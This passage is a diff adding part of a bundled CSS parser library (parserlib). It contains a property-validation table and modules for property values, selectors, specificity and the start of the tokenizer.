+    "list-style-type"               : "disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none",
+
+    //M
+    "margin"                        : "<margin-width>{1,4}",
+    "margin-bottom"                 : "<margin-width>",
+    "margin-left"                   : "<margin-width>",
+    "margin-right"                  : "<margin-width>",
+    "margin-top"                    : "<margin-width>",
+    "mark"                          : 1,
+    "mark-after"                    : 1,
+    "mark-before"                   : 1,
+    "marker"                        : 1,
+    "marker-end"                    : 1,
+    "marker-mid"                    : 1,
+    "marker-start"                  : 1,
+    "marks"                         : 1,
+    "marquee-direction"             : 1,
+    "marquee-play-count"            : 1,
+    "marquee-speed"                 : 1,
+    "marquee-style"                 : 1,
+    "mask"                          : 1,
+    "max-height"                    : "<length> | <percentage> | <content-sizing> | none",
+    "max-width"                     : "<length> | <percentage> | <content-sizing> | none",
+    "min-height"                    : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
+    "min-width"                     : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
+    "move-to"                       : 1,
+
+    //N
+    "nav-down"                      : 1,
+    "nav-index"                     : 1,
+    "nav-left"                      : 1,
+    "nav-right"                     : 1,
+    "nav-up"                        : 1,
+
+    //O
+    "object-fit"                    : "fill | contain | cover | none | scale-down",
+    "object-position"               : "<position>",
+    "opacity"                       : "<opacity-value>",
+    "order"                         : "<integer>",
+    "-webkit-order"                 : "<integer>",
+    "orphans"                       : "<integer>",
+    "outline"                       : 1,
+    "outline-color"                 : "<color> | invert",
+    "outline-offset"                : 1,
+    "outline-style"                 : "<border-style>",
+    "outline-width"                 : "<border-width>",
+    "overflow"                      : "visible | hidden | scroll | auto",
+    "overflow-style"                : 1,
+    "overflow-wrap"                 : "normal | break-word",
+    "overflow-x"                    : 1,
+    "overflow-y"                    : 1,
+
+    //P
+    "padding"                       : "<padding-width>{1,4}",
+    "padding-bottom"                : "<padding-width>",
+    "padding-left"                  : "<padding-width>",
+    "padding-right"                 : "<padding-width>",
+    "padding-top"                   : "<padding-width>",
+    "page"                          : 1,
+    "page-break-after"              : "auto | always | avoid | left | right",
+    "page-break-before"             : "auto | always | avoid | left | right",
+    "page-break-inside"             : "auto | avoid",
+    "page-policy"                   : 1,
+    "pause"                         : 1,
+    "pause-after"                   : 1,
+    "pause-before"                  : 1,
+    "perspective"                   : 1,
+    "perspective-origin"            : 1,
+    "phonemes"                      : 1,
+    "pitch"                         : 1,
+    "pitch-range"                   : 1,
+    "play-during"                   : 1,
+    "pointer-events"                : "auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all",
+    "position"                      : "static | relative | absolute | fixed",
+    "presentation-level"            : 1,
+    "punctuation-trim"              : 1,
+
+    //Q
+    "quotes"                        : 1,
+
+    //R
+    "rendering-intent"              : 1,
+    "resize"                        : 1,
+    "rest"                          : 1,
+    "rest-after"                    : 1,
+    "rest-before"                   : 1,
+    "richness"                      : 1,
+    "right"                         : "<margin-width>",
+    "rotation"                      : 1,
+    "rotation-point"                : 1,
+    "ruby-align"                    : 1,
+    "ruby-overhang"                 : 1,
+    "ruby-position"                 : 1,
+    "ruby-span"                     : 1,
+
+    //S
+    "shape-rendering"               : "auto | optimizeSpeed | crispEdges | geometricPrecision",
+    "size"                          : 1,
+    "speak"                         : "normal | none | spell-out",
+    "speak-header"                  : "once | always",
+    "speak-numeral"                 : "digits | continuous",
+    "speak-punctuation"             : "code | none",
+    "speech-rate"                   : 1,
+    "src"                           : 1,
+    "stop-color"                    : 1,
+    "stop-opacity"                  : "<opacity-value>",
+    "stress"                        : 1,
+    "string-set"                    : 1,
+    "stroke"                        : "<paint>",
+    "stroke-dasharray"              : "none | <dasharray>",
+    "stroke-dashoffset"             : "<percentage> | <length>",
+    "stroke-linecap"                : "butt | round | square",
+    "stroke-linejoin"               : "miter | round | bevel",
+    "stroke-miterlimit"             : "<miterlimit>",
+    "stroke-opacity"                : "<opacity-value>",
+    "stroke-width"                  : "<percentage> | <length>",
+
+    "table-layout"                  : "auto | fixed",
+    "tab-size"                      : "<integer> | <length>",
+    "target"                        : 1,
+    "target-name"                   : 1,
+    "target-new"                    : 1,
+    "target-position"               : 1,
+    "text-align"                    : "left | right | center | justify | match-parent | start | end",
+    "text-align-last"               : 1,
+    "text-anchor"                   : "start | middle | end",
+    "text-decoration"               : "<text-decoration-line> || <text-decoration-style> || <text-decoration-color>",
+    "text-decoration-color"         : "<text-decoration-color>",
+    "text-decoration-line"          : "<text-decoration-line>",
+    "text-decoration-style"         : "<text-decoration-style>",
+    "text-emphasis"                 : 1,
+    "text-height"                   : 1,
+    "text-indent"                   : "<length> | <percentage>",
+    "text-justify"                  : "auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida",
+    "text-outline"                  : 1,
+    "text-overflow"                 : 1,
+    "text-rendering"                : "auto | optimizeSpeed | optimizeLegibility | geometricPrecision",
+    "text-shadow"                   : 1,
+    "text-transform"                : "capitalize | uppercase | lowercase | none",
+    "text-wrap"                     : "normal | none | avoid",
+    "top"                           : "<margin-width>",
+    "-ms-touch-action"              : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
+    "touch-action"                  : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
+    "transform"                     : 1,
+    "transform-origin"              : 1,
+    "transform-style"               : 1,
+    "transition"                    : 1,
+    "transition-delay"              : 1,
+    "transition-duration"           : 1,
+    "transition-property"           : 1,
+    "transition-timing-function"    : 1,
+
+    //U
+    "unicode-bidi"                  : "normal | embed | isolate | bidi-override | isolate-override | plaintext",
+    "user-modify"                   : "read-only | read-write | write-only",
+    "user-select"                   : "none | text | toggle | element | elements | all",
+
+    //V
+    "vertical-align"                : "auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>",
+    "visibility"                    : "visible | hidden | collapse",
+    "voice-balance"                 : 1,
+    "voice-duration"                : 1,
+    "voice-family"                  : 1,
+    "voice-pitch"                   : 1,
+    "voice-pitch-range"             : 1,
+    "voice-rate"                    : 1,
+    "voice-stress"                  : 1,
+    "voice-volume"                  : 1,
+    "volume"                        : 1,
+
+    //W
+    "white-space"                   : "normal | pre | nowrap | pre-wrap | pre-line | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap",   // https://perishablepress.com/wrapping-content/
+    "white-space-collapse"          : 1,
+    "widows"                        : "<integer>",
+    "width"                         : "<length> | <percentage> | <content-sizing> | auto",
+    "will-change"                   : "<will-change>",
+    "word-break"                    : "normal | keep-all | break-all",
+    "word-spacing"                  : "<length> | normal",
+    "word-wrap"                     : "normal | break-word",
+    "writing-mode"                  : "horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb",
+
+    //Z
+    "z-index"                       : "<integer> | auto",
+    "zoom"                          : "<number> | <percentage> | normal"
+};
+
+},{}],8:[function(require,module,exports){
+"use strict";
+
+module.exports = PropertyName;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a selector combinator (whitespace, +, >).
+ * @namespace parserlib.css
+ * @class PropertyName
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {String} text The text representation of the unit.
+ * @param {String} hack The type of IE hack applied ("*", "_", or null).
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function PropertyName(text, hack, line, col) {
+
+    SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_NAME_TYPE);
+
+    /**
+     * The type of IE hack applied ("*", "_", or null).
+     * @type String
+     * @property hack
+     */
+    this.hack = hack;
+
+}
+
+PropertyName.prototype = new SyntaxUnit();
+PropertyName.prototype.constructor = PropertyName;
+PropertyName.prototype.toString = function() {
+    return (this.hack ? this.hack : "") + this.text;
+};
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],9:[function(require,module,exports){
+"use strict";
+
+module.exports = PropertyValue;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a single part of a CSS property value, meaning that it represents
+ * just everything single part between ":" and ";". If there are multiple values
+ * separated by commas, this type represents just one of the values.
+ * @param {String[]} parts An array of value parts making up this value.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ * @namespace parserlib.css
+ * @class PropertyValue
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ */
+function PropertyValue(parts, line, col) {
+
+    SyntaxUnit.call(this, parts.join(" "), line, col, Parser.PROPERTY_VALUE_TYPE);
+
+    /**
+     * The parts that make up the selector.
+     * @type Array
+     * @property parts
+     */
+    this.parts = parts;
+
+}
+
+PropertyValue.prototype = new SyntaxUnit();
+PropertyValue.prototype.constructor = PropertyValue;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],10:[function(require,module,exports){
+"use strict";
+
+module.exports = PropertyValueIterator;
+
+/**
+ * A utility class that allows for easy iteration over the various parts of a
+ * property value.
+ * @param {parserlib.css.PropertyValue} value The property value to iterate over.
+ * @namespace parserlib.css
+ * @class PropertyValueIterator
+ * @constructor
+ */
+function PropertyValueIterator(value) {
+
+    /**
+     * Iterator value
+     * @type int
+     * @property _i
+     * @private
+     */
+    this._i = 0;
+
+    /**
+     * The parts that make up the value.
+     * @type Array
+     * @property _parts
+     * @private
+     */
+    this._parts = value.parts;
+
+    /**
+     * Keeps track of bookmarks along the way.
+     * @type Array
+     * @property _marks
+     * @private
+     */
+    this._marks = [];
+
+    /**
+     * Holds the original property value.
+     * @type parserlib.css.PropertyValue
+     * @property value
+     */
+    this.value = value;
+
+}
+
+/**
+ * Returns the total number of parts in the value.
+ * @return {int} The total number of parts in the value.
+ * @method count
+ */
+PropertyValueIterator.prototype.count = function() {
+    return this._parts.length;
+};
+
+/**
+ * Indicates if the iterator is positioned at the first item.
+ * @return {Boolean} True if positioned at first item, false if not.
+ * @method isFirst
+ */
+PropertyValueIterator.prototype.isFirst = function() {
+    return this._i === 0;
+};
+
+/**
+ * Indicates if there are more parts of the property value.
+ * @return {Boolean} True if there are more parts, false if not.
+ * @method hasNext
+ */
+PropertyValueIterator.prototype.hasNext = function() {
+    return this._i < this._parts.length;
+};
+
+/**
+ * Marks the current spot in the iteration so it can be restored to
+ * later on.
+ * @return {void}
+ * @method mark
+ */
+PropertyValueIterator.prototype.mark = function() {
+    this._marks.push(this._i);
+};
+
+/**
+ * Returns the next part of the property value or null if there is no next
+ * part. Does not move the internal counter forward.
+ * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
+ * part.
+ * @method peek
+ */
+PropertyValueIterator.prototype.peek = function(count) {
+    return this.hasNext() ? this._parts[this._i + (count || 0)] : null;
+};
+
+/**
+ * Returns the next part of the property value or null if there is no next
+ * part.
+ * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
+ * part.
+ * @method next
+ */
+PropertyValueIterator.prototype.next = function() {
+    return this.hasNext() ? this._parts[this._i++] : null;
+};
+
+/**
+ * Returns the previous part of the property value or null if there is no
+ * previous part.
+ * @return {parserlib.css.PropertyValuePart} The previous part of the
+ * property value or null if there is no previous part.
+ * @method previous
+ */
+PropertyValueIterator.prototype.previous = function() {
+    return this._i > 0 ? this._parts[--this._i] : null;
+};
+
+/**
+ * Restores the last saved bookmark.
+ * @return {void}
+ * @method restore
+ */
+PropertyValueIterator.prototype.restore = function() {
+    if (this._marks.length) {
+        this._i = this._marks.pop();
+    }
+};
+
+/**
+ * Drops the last saved bookmark.
+ * @return {void}
+ * @method drop
+ */
+PropertyValueIterator.prototype.drop = function() {
+    this._marks.pop();
+};
+
+},{}],11:[function(require,module,exports){
+"use strict";
+
+module.exports = PropertyValuePart;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Colors = require("./Colors");
+var Parser = require("./Parser");
+var Tokens = require("./Tokens");
+
+/**
+ * Represents a single part of a CSS property value, meaning that it represents
+ * just one part of the data between ":" and ";".
+ * @param {String} text The text representation of the unit.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ * @namespace parserlib.css
+ * @class PropertyValuePart
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ */
+function PropertyValuePart(text, line, col, optionalHint) {
+    var hint = optionalHint || {};
+
+    SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_VALUE_PART_TYPE);
+
+    /**
+     * Indicates the type of value unit.
+     * @type String
+     * @property type
+     */
+    this.type = "unknown";
+
+    //figure out what type of data it is
+
+    var temp;
+
+    //it is a measurement?
+    if (/^([+\-]?[\d\.]+)([a-z]+)$/i.test(text)) {  //dimension
+        this.type = "dimension";
+        this.value = +RegExp.$1;
+        this.units = RegExp.$2;
+
+        //try to narrow down
+        switch (this.units.toLowerCase()) {
+
+            case "em":
+            case "rem":
+            case "ex":
+            case "px":
+            case "cm":
+            case "mm":
+            case "in":
+            case "pt":
+            case "pc":
+            case "ch":
+            case "vh":
+            case "vw":
+            case "vmax":
+            case "vmin":
+                this.type = "length";
+                break;
+
+            case "fr":
+                this.type = "grid";
+                break;
+
+            case "deg":
+            case "rad":
+            case "grad":
+            case "turn":
+                this.type = "angle";
+                break;
+
+            case "ms":
+            case "s":
+                this.type = "time";
+                break;
+
+            case "hz":
+            case "khz":
+                this.type = "frequency";
+                break;
+
+            case "dpi":
+            case "dpcm":
+                this.type = "resolution";
+                break;
+
+            //default
+
+        }
+
+    } else if (/^([+\-]?[\d\.]+)%$/i.test(text)) {  //percentage
+        this.type = "percentage";
+        this.value = +RegExp.$1;
+    } else if (/^([+\-]?\d+)$/i.test(text)) {  //integer
+        this.type = "integer";
+        this.value = +RegExp.$1;
+    } else if (/^([+\-]?[\d\.]+)$/i.test(text)) {  //number
+        this.type = "number";
+        this.value = +RegExp.$1;
+
+    } else if (/^#([a-f0-9]{3,6})/i.test(text)) {  //hexcolor
+        this.type = "color";
+        temp = RegExp.$1;
+        if (temp.length === 3) {
+            this.red    = parseInt(temp.charAt(0)+temp.charAt(0), 16);
+            this.green  = parseInt(temp.charAt(1)+temp.charAt(1), 16);
+            this.blue   = parseInt(temp.charAt(2)+temp.charAt(2), 16);
+        } else {
+            this.red    = parseInt(temp.substring(0, 2), 16);
+            this.green  = parseInt(temp.substring(2, 4), 16);
+            this.blue   = parseInt(temp.substring(4, 6), 16);
+        }
+    } else if (/^rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)/i.test(text)) { //rgb() color with absolute numbers
+        this.type   = "color";
+        this.red    = +RegExp.$1;
+        this.green  = +RegExp.$2;
+        this.blue   = +RegExp.$3;
+    } else if (/^rgb\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //rgb() color with percentages
+        this.type   = "color";
+        this.red    = +RegExp.$1 * 255 / 100;
+        this.green  = +RegExp.$2 * 255 / 100;
+        this.blue   = +RegExp.$3 * 255 / 100;
+    } else if (/^rgba\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with absolute numbers
+        this.type   = "color";
+        this.red    = +RegExp.$1;
+        this.green  = +RegExp.$2;
+        this.blue   = +RegExp.$3;
+        this.alpha  = +RegExp.$4;
+    } else if (/^rgba\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with percentages
+        this.type   = "color";
+        this.red    = +RegExp.$1 * 255 / 100;
+        this.green  = +RegExp.$2 * 255 / 100;
+        this.blue   = +RegExp.$3 * 255 / 100;
+        this.alpha  = +RegExp.$4;
+    } else if (/^hsl\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //hsl()
+        this.type   = "color";
+        this.hue    = +RegExp.$1;
+        this.saturation = +RegExp.$2 / 100;
+        this.lightness  = +RegExp.$3 / 100;
+    } else if (/^hsla\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //hsla() color with percentages
+        this.type   = "color";
+        this.hue    = +RegExp.$1;
+        this.saturation = +RegExp.$2 / 100;
+        this.lightness  = +RegExp.$3 / 100;
+        this.alpha  = +RegExp.$4;
+    } else if (/^url\(("([^\\"]|\\.)*")\)/i.test(text)) { //URI
+        // generated by TokenStream.readURI, so always double-quoted.
+        this.type   = "uri";
+        this.uri    = PropertyValuePart.parseString(RegExp.$1);
+    } else if (/^([^\(]+)\(/i.test(text)) {
+        this.type   = "function";
+        this.name   = RegExp.$1;
+        this.value  = text;
+    } else if (/^"([^\n\r\f\\"]|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*"/i.test(text)) {    //double-quoted string
+        this.type   = "string";
+        this.value  = PropertyValuePart.parseString(text);
+    } else if (/^'([^\n\r\f\\']|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*'/i.test(text)) {    //single-quoted string
+        this.type   = "string";
+        this.value  = PropertyValuePart.parseString(text);
+    } else if (Colors[text.toLowerCase()]) {  //named color
+        this.type   = "color";
+        temp        = Colors[text.toLowerCase()].substring(1);
+        this.red    = parseInt(temp.substring(0, 2), 16);
+        this.green  = parseInt(temp.substring(2, 4), 16);
+        this.blue   = parseInt(temp.substring(4, 6), 16);
+    } else if (/^[,\/]$/.test(text)) {
+        this.type   = "operator";
+        this.value  = text;
+    } else if (/^-?[a-z_\u00A0-\uFFFF][a-z0-9\-_\u00A0-\uFFFF]*$/i.test(text)) {
+        this.type   = "identifier";
+        this.value  = text;
+    }
+
+    // There can be ambiguity with escape sequences in identifiers, as
+    // well as with "color" parts which are also "identifiers", so record
+    // an explicit hint when the token generating this PropertyValuePart
+    // was an identifier.
+    this.wasIdent = Boolean(hint.ident);
+
+}
+
+PropertyValuePart.prototype = new SyntaxUnit();
+PropertyValuePart.prototype.constructor = PropertyValuePart;
+
+/**
+ * Helper method to parse a CSS string.
+ */
+PropertyValuePart.parseString = function(str) {
+    str = str.slice(1, -1); // Strip surrounding single/double quotes
+    var replacer = function(match, esc) {
+        if (/^(\n|\r\n|\r|\f)$/.test(esc)) {
+            return "";
+        }
+        var m = /^[0-9a-f]{1,6}/i.exec(esc);
+        if (m) {
+            var codePoint = parseInt(m[0], 16);
+            if (String.fromCodePoint) {
+                return String.fromCodePoint(codePoint);
+            } else {
+                // XXX No support for surrogates on old JavaScript engines.
+                return String.fromCharCode(codePoint);
+            }
+        }
+        return esc;
+    };
+    return str.replace(/\\(\r\n|[^\r0-9a-f]|[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)/ig,
+                       replacer);
+};
+
+/**
+ * Helper method to serialize a CSS string.
+ */
+PropertyValuePart.serializeString = function(value) {
+    var replacer = function(match, c) {
+        if (c === "\"") {
+            return "\\" + c;
+        }
+        var cp = String.codePointAt ? String.codePointAt(0) :
+            // We only escape non-surrogate chars, so using charCodeAt
+            // is harmless here.
+            String.charCodeAt(0);
+        return "\\" + cp.toString(16) + " ";
+    };
+    return "\"" + value.replace(/["\r\n\f]/g, replacer) + "\"";
+};
+
+/**
+ * Create a new syntax unit based solely on the given token.
+ * Convenience method for creating a new syntax unit when
+ * it represents a single token instead of multiple.
+ * @param {Object} token The token object to represent.
+ * @return {parserlib.css.PropertyValuePart} The object representing the token.
+ * @static
+ * @method fromToken
+ */
+PropertyValuePart.fromToken = function(token) {
+    var part = new PropertyValuePart(token.value, token.startLine, token.startCol, {
+        // Tokens can have escaped characters that would fool the type
+        // identification in the PropertyValuePart constructor, so pass
+        // in a hint if this was an identifier.
+        ident: token.type === Tokens.IDENT
+    });
+    return part;
+};
+
+},{"../util/SyntaxUnit":26,"./Colors":1,"./Parser":6,"./Tokens":18}],12:[function(require,module,exports){
+"use strict";
+
+var Pseudos = module.exports = {
+    __proto__:       null,
+    ":first-letter": 1,
+    ":first-line":   1,
+    ":before":       1,
+    ":after":        1
+};
+
+Pseudos.ELEMENT = 1;
+Pseudos.CLASS = 2;
+
+Pseudos.isElement = function(pseudo) {
+    return pseudo.indexOf("::") === 0 || Pseudos[pseudo.toLowerCase()] === Pseudos.ELEMENT;
+};
+
+},{}],13:[function(require,module,exports){
+"use strict";
+
+module.exports = Selector;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+var Specificity = require("./Specificity");
+
+/**
+ * Represents an entire single selector, including all parts but not
+ * including multiple selectors (those separated by commas).
+ * @namespace parserlib.css
+ * @class Selector
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {Array} parts Array of selectors parts making up this selector.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function Selector(parts, line, col) {
+
+    SyntaxUnit.call(this, parts.join(" "), line, col, Parser.SELECTOR_TYPE);
+
+    /**
+     * The parts that make up the selector.
+     * @type Array
+     * @property parts
+     */
+    this.parts = parts;
+
+    /**
+     * The specificity of the selector.
+     * @type parserlib.css.Specificity
+     * @property specificity
+     */
+    this.specificity = Specificity.calculate(this);
+
+}
+
+Selector.prototype = new SyntaxUnit();
+Selector.prototype.constructor = Selector;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6,"./Specificity":16}],14:[function(require,module,exports){
+"use strict";
+
+module.exports = SelectorPart;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a single part of a selector string, meaning a single set of
+ * element name and modifiers. This does not include combinators such as
+ * spaces, +, >, etc.
+ * @namespace parserlib.css
+ * @class SelectorPart
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {String} elementName The element name in the selector or null
+ *      if there is no element name.
+ * @param {Array} modifiers Array of individual modifiers for the element.
+ *      May be empty if there are none.
+ * @param {String} text The text representation of the unit.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function SelectorPart(elementName, modifiers, text, line, col) {
+
+    SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_PART_TYPE);
+
+    /**
+     * The tag name of the element to which this part
+     * of the selector affects.
+     * @type String
+     * @property elementName
+     */
+    this.elementName = elementName;
+
+    /**
+     * The parts that come after the element name, such as class names, IDs,
+     * pseudo classes/elements, etc.
+     * @type Array
+     * @property modifiers
+     */
+    this.modifiers = modifiers;
+
+}
+
+SelectorPart.prototype = new SyntaxUnit();
+SelectorPart.prototype.constructor = SelectorPart;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],15:[function(require,module,exports){
+"use strict";
+
+module.exports = SelectorSubPart;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a selector modifier string, meaning a class name, element name,
+ * element ID, pseudo rule, etc.
+ * @namespace parserlib.css
+ * @class SelectorSubPart
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {String} text The text representation of the unit.
+ * @param {String} type The type of selector modifier.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function SelectorSubPart(text, type, line, col) {
+
+    SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_SUB_PART_TYPE);
+
+    /**
+     * The type of modifier.
+     * @type String
+     * @property type
+     */
+    this.type = type;
+
+    /**
+     * Some subparts have arguments, this represents them.
+     * @type Array
+     * @property args
+     */
+    this.args = [];
+
+}
+
+SelectorSubPart.prototype = new SyntaxUnit();
+SelectorSubPart.prototype.constructor = SelectorSubPart;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],16:[function(require,module,exports){
+"use strict";
+
+module.exports = Specificity;
+
+var Pseudos = require("./Pseudos");
+var SelectorPart = require("./SelectorPart");
+
+/**
+ * Represents a selector's specificity.
+ * @namespace parserlib.css
+ * @class Specificity
+ * @constructor
+ * @param {int} a Should be 1 for inline styles, zero for stylesheet styles
+ * @param {int} b Number of ID selectors
+ * @param {int} c Number of classes and pseudo classes
+ * @param {int} d Number of element names and pseudo elements
+ */
+function Specificity(a, b, c, d) {
+    this.a = a;
+    this.b = b;
+    this.c = c;
+    this.d = d;
+}
+
+Specificity.prototype = {
+    constructor: Specificity,
+
+    /**
+     * Compare this specificity to another.
+     * @param {Specificity} other The other specificity to compare to.
+     * @return {int} -1 if the other specificity is larger, 1 if smaller, 0 if equal.
+     * @method compare
+     */
+    compare: function(other) {
+        var comps = ["a", "b", "c", "d"],
+            i, len;
+
+        for (i=0, len=comps.length; i < len; i++) {
+            if (this[comps[i]] < other[comps[i]]) {
+                return -1;
+            } else if (this[comps[i]] > other[comps[i]]) {
+                return 1;
+            }
+        }
+
+        return 0;
+    },
+
+    /**
+     * Creates a numeric value for the specificity.
+     * @return {int} The numeric value for the specificity.
+     * @method valueOf
+     */
+    valueOf: function() {
+        return (this.a * 1000) + (this.b * 100) + (this.c * 10) + this.d;
+    },
+
+    /**
+     * Returns a string representation for specificity.
+     * @return {String} The string representation of specificity.
+     * @method toString
+     */
+    toString: function() {
+        return this.a + "," + this.b + "," + this.c + "," + this.d;
+    }
+
+};
+
+/**
+ * Calculates the specificity of the given selector.
+ * @param {parserlib.css.Selector} The selector to calculate specificity for.
+ * @return {parserlib.css.Specificity} The specificity of the selector.
+ * @static
+ * @method calculate
+ */
+Specificity.calculate = function(selector) {
+
+    var i, len,
+        part,
+        b=0, c=0, d=0;
+
+    function updateValues(part) {
+
+        var i, j, len, num,
+            elementName = part.elementName ? part.elementName.text : "",
+            modifier;
+
+        if (elementName && elementName.charAt(elementName.length-1) !== "*") {
+            d++;
+        }
+
+        for (i=0, len=part.modifiers.length; i < len; i++) {
+            modifier = part.modifiers[i];
+            switch (modifier.type) {
+                case "class":
+                case "attribute":
+                    c++;
+                    break;
+
+                case "id":
+                    b++;
+                    break;
+
+                case "pseudo":
+                    if (Pseudos.isElement(modifier.text)) {
+                        d++;
+                    } else {
+                        c++;
+                    }
+                    break;
+
+                case "not":
+                    for (j=0, num=modifier.args.length; j < num; j++) {
+                        updateValues(modifier.args[j]);
+                    }
+            }
+        }
+    }
+
+    for (i=0, len=selector.parts.length; i < len; i++) {
+        part = selector.parts[i];
+
+        if (part instanceof SelectorPart) {
+            updateValues(part);
+        }
+    }
+
+    return new Specificity(0, b, c, d);
+};
+
+},{"./Pseudos":12,"./SelectorPart":14}],17:[function(require,module,exports){
+"use strict";
+
+module.exports = TokenStream;
+
+var TokenStreamBase = require("../util/TokenStreamBase");
+
+var PropertyValuePart = require("./PropertyValuePart");
+var Tokens = require("./Tokens");
+
+var h = /^[0-9a-fA-F]$/,
+    nonascii = /^[\u00A0-\uFFFF]$/,
+    nl = /\n|\r\n|\r|\f/,
+    whitespace = /\u0009|\u000a|\u000c|\u000d|\u0020/;
+
+//-----------------------------------------------------------------------------
+// Helper functions
+//-----------------------------------------------------------------------------
+
+
+function isHexDigit(c) {
+    return c !== null && h.test(c);
+}
+
+function isDigit(c) {
+    return c !== null && /\d/.test(c);
+}
+
+function isWhitespace(c) {
+    return c !== null && whitespace.test(c);
+}
+
+function isNewLine(c) {
+    return c !== null && nl.test(c);
+}
+
+function isNameStart(c) {
+    return c !== null && /[a-z_\u00A0-\uFFFF\\]/i.test(c);
+}
+
+function isNameChar(c) {
+    return c !== null && (isNameStart(c) || /[0-9\-\\]/.test(c));
+}
+
+function isIdentStart(c) {
+    return c !== null && (isNameStart(c) || /\-\\/.test(c));
+}
+
+function mix(receiver, supplier) {
+    for (var prop in supplier) {
+        if (Object.prototype.hasOwnProperty.call(supplier, prop)) {
+            receiver[prop] = supplier[prop];
+        }
+    }
+    return receiver;
+}
+
+//-----------------------------------------------------------------------------
+// CSS Token Stream
+//-----------------------------------------------------------------------------
+
+
+/**
+ * A token stream that produces CSS tokens.
+ * @param {String|Reader} input The source of text to tokenize.
+ * @constructor
+ * @class TokenStream
+ * @namespace parserlib.css
+ */
+function TokenStream(input) {
+    TokenStreamBase.call(this, input, Tokens);
+}
+
+TokenStream.prototype = mix(new TokenStreamBase(), {
+
+    /**
+     * Overrides the TokenStreamBase method of the same name
+     * to produce CSS tokens.
+     * @return {Object} A token object representing the next token.
+     * @method _getToken
+     * @private
+     */
+    _getToken: function() {
+
+        var c,
+            reader = this._reader,
+            token   = null,
+            startLine   = reader.getLine(),
+            startCol    = reader.getCol();
+
+        c = reader.read();
+
+
+        while (c) {
+            switch (c) {
+
+                /*
+                 * Potential tokens:
+                 * - COMMENT
+                 * - SLASH
+                 * - CHAR
+                 */
+                case "/":
+
+                    if (reader.peek() === "*") {
+                        token = this.commentToken(c, startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - DASHMATCH
+                 * - INCLUDES
+                 * - PREFIXMATCH
+                 * - SUFFIXMATCH
+                 * - SUBSTRINGMATCH
+                 * - CHAR
+                 */
+                case "|":
+                case "~":
+                case "^":
+                case "$":
+                case "*":
+                    if (reader.peek() === "=") {
+                        token = this.comparisonToken(c, startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - STRING
+                 * - INVALID
+                 */
+                case "\"":
+                case "'":
+                    token = this.stringToken(c, startLine, startCol);
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - HASH
+                 * - CHAR
+                 */
